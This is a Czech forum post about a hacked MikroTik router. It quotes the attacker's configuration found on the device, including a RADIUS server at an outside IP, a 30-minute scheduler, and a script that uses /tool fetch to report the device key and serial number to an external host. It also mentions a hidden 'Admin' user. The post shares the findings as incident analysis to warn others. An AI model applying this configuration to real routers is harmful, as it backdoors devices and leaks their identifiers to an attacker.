A máme to tu zase... Kromě klasiky (změny DNS) to dělá i jiné skopičiny:
/system identity
set name=test
/ip pool
add name=pool1 ranges=10.1.1.2-10.1.1.250
/ppp profile
add change-tcp-mss=yes dns-server=8.8.8.8 local-address=10.1.1.1 name=test remote-address=pool1 use-encryption=yes
/radius
add address=47.75.230.175 secret=test service=ppp
add address=47.75.230.175 secret=test service=ppp
/system scheduler
add interval=30m name=a on-event=ip policy=ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon start-time=startup
/system script
add name=ip owner=admin policy=reboot,read,write,policy,test,password,sniff,sensitive source=\
"{/tool fetch url=(\"http://www.boss-ip.com/Core/Update.ashx\\\?key=XXXXXXXXXX&action=upload&sncode=YYYYYYYY&dynamic=static\")}"
Na přístup si to vytváří nového uživatele ("Admin" - opravdu s velkým A) v systému a radius. V tom skriptu je XXXXXXX nějaký kód zatím v každém RB unikátní, totéž YYYYYYYY, jehož součástí je i sériové číslo routerboardu. Na některých byla vytvořená i nějaká maškaráda v NAT. Výše uvedený výpis pochází z napadeného zařízení, které běží na ROS i firmware 6.42.3 a kterému bylo jméno i heslo pro přístup změněno před několika málo dny.
Už se to řeší i na fóru MikroTiku:
https://forum.mikrotik.com/viewtopic.php?t=135762
https://forum.mikrotik.com/viewtopic.php?f=2&t=135774
Setkal se s tím už někdo zdejší?
